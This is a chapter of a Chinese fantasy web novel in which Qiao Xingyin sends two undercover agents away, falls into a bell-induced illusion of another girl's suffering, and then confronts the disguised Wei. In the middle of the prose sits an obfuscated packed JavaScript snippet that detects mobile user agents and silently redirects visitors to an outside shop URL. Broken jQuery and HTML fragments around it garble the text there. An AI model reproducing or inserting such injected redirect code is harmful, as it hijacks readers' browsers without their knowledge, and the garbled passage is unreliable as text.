12. 牵四挂五(七)
    乔行吟将两人带入乐坊二楼。

    一位伏圣影又是报出自己编号,又是证明自己身份,又是阐明将人带至此处的原委,更兼痛骂东门铮此前言论,抓耳挠腮,只怕不能取得乔行吟的信任。

    另外一位伏圣影则详细描述,他本是想将魔气偷偷引入东门铮体内,嫁祸于销魂窟内魔修,让东门铮吃个哑巴亏。没想到伏五魔上无意中听到东门铮无礼之言后,出手太快,他还没来得及出手,几人便被轰了出去。

    乔行吟当着两人的面微微叹了一口气,将食指置于唇间。

    “先静声。”

    她侧耳倾听,片刻后,道:“无事了。”

    复而向两人说明:“误会归误会。因我在众乐道上已经解开了你们对容貌的遮挡,云雨壁中人多眼杂,若是有心之人恰好注意到此事,你们在外的卧底身份恐怕难以积藏,不光影响任务的完成,也危及你们自身安全。”

    这两人所处位置可以直接安排。

    她下令道:“回伏圣殿向伏翊复命,从平清宗调离吧。”

    瞬息之间,乐坊二楼仅余乔行吟一人。

    或许是心神有些松懈,乔行吟此前明明并未在细雨中站立多久,却突然觉得身上的水汽愈发的黏腻,她再次抚了抚衣袖。

    叮铃、叮铃,叮铃、叮铃。乐坊中,突然传来一阵铃音。

    明明是清脆的铃音,却仿佛带着冷意,听之生寒。

    她的耳边,万籁俱寂,只余铃音。

    乐坊中出现铃音,应该是很正常的吧……

    身上的衣服湿湿的、黏黏的、冷冷的……

    “不对!有点奇怪……”她提醒自己道。

    ……有什么不对?

    ……对的啊!

    乔行吟的眼皮逐渐合拢。

    当然应该感觉到寒冷。

    因为,现在下雨了啊……

    而且,她……她……她正倒在水坑里啊!

    纷纷雨点砸在乔行吟的眼皮上,冷冷的,令她清醒了一瞬。

    她努力地睁开一只眼,却感觉到眼睛里传来一阵刺痛。

    是脏水进了眼睛。

    她正倒在混杂着雨水、泥水和血水的水坑里。

    鼻子里,嘴巴里,满是腥味。

    痛,好痛,这痛意如蠕动的毒虫,似乎要顺着她浑身的伤口,更深更厉地钻进她的骨子里,一口一口吞噬她的血肉。

    恍惚之中,视线所及之处,她看到一个少女的侧脸,黑发混着肮脏的血水,凌乱地糊在她的脸上。

    少女与她一样,倒在水坑里。

    她要干什么来着?

    对,起来,要起来,她要比这个少女更先爬起来。

    她的手指在尝试用力,却只是徒劳地抽动,只剩下无力与狼狈。

    “一七三,通过。”

    不是她,她用尽最后一点力气张开眼睛,朝身边望了一眼,是身边的少女爬了起来。

    真地没有一点力气了,就这样吧,她阖上双眼。

    “喂,起来。”耳边响起一道声音。

    我不是喂,我是……我是谁?我是谁来着?

    对了,我又有了一个名字,我叫怜梦。

    她再次睁开双眼,听到自己对着一位金面魔修冷冷道:“为什么选我?哈哈哈哈,难道是想看看我在这里被调教,与你在伏圣殿里被调教,有何不同?”

    可是说完这句话,她好像就瞎了。

    不然为什么眼睛是明明睁开的,却看不见人,只能看见黑色。

    或者说,是这黑荒岩柱漫天的黑云占满了她的眼吗?

    云聚,云散。

    云散,云聚。

    真得好久了啊……

    她的手里紧紧攥着一片白布。

    为什么没有一个人来,为什么这次没有人,为什么这次没有她?!

    风刮得她好痛,石刃也扎得她好痛,比任何一次都痛。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14345860|152613||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    日复一日,她越来越恨,越来越……直想——

    乔行吟额头的流光印忽然狠狠地烫了她一下,勉强夺回了几分神智。

    那不是她,是他。

    一位脸蒙白纱的白衣宠陪,跌跌撞撞地从底楼向而二楼奔来,他没有使用邀令,直接朝乔行吟身上扑来。

    叮铃、叮铃。

    这是悬挂在他身上的铃铛在叮当作响。

    乐坊前厅的众人对这幕早已见怪不怪了。

    这是大家心照不宣,各大乐坊内经久不衰、多次上演的经典剧目。

    有些实力不错的宠陪十分中意谁,便故作慌张地于二楼行走间跌至那人身边,若是乔行吟亦对这位“不小心”扑来跌往的宠陪有意,便可接住他,随他一同进入画阁。

    玩得就是一个情趣。

    白衣宠陪双眸眼波流转,欲语还休地盯着乔行吟。

    乔行吟扶住白衣宠陪,扯下他身上悬挂的白色铃铛,在他耳边冷冷道:“霨殿统,好雅兴。”

    霨眸光微闪,道:“这次能认出我来了?那有没有唤起你一些褪色的往昔记忆?”

    “再想不起来,我真地要不高兴了。”

    湿润的水汽、清冷的铃声、精神的松懈、相似的场景,乔行吟将她感觉到的异常,在脑海中过了一遍,思考着导致她中招的桩桩件件。

    乔行吟问:“你结合了归原宗和开霓宗的功法?”

    霨故作惊讶道:“原来和我在融在一起的那堆白骨,还有这两宗的出处啊。看来是我孤陋寡闻了,多谢你今日告知。”

    乔行吟不打机锋,“你是如何得知我在这里?”

    霨笑道:“哈哈哈哈哈,算是知道还是不知道呢?”

    “我只是抓住每一个可能罢了……渊令、界门、影二七、黑荒岩柱、销魂窟……落空一百次,总得有那么一两次成功,对吗?”

    “只要赌对了,后面一步一步,就好办了。”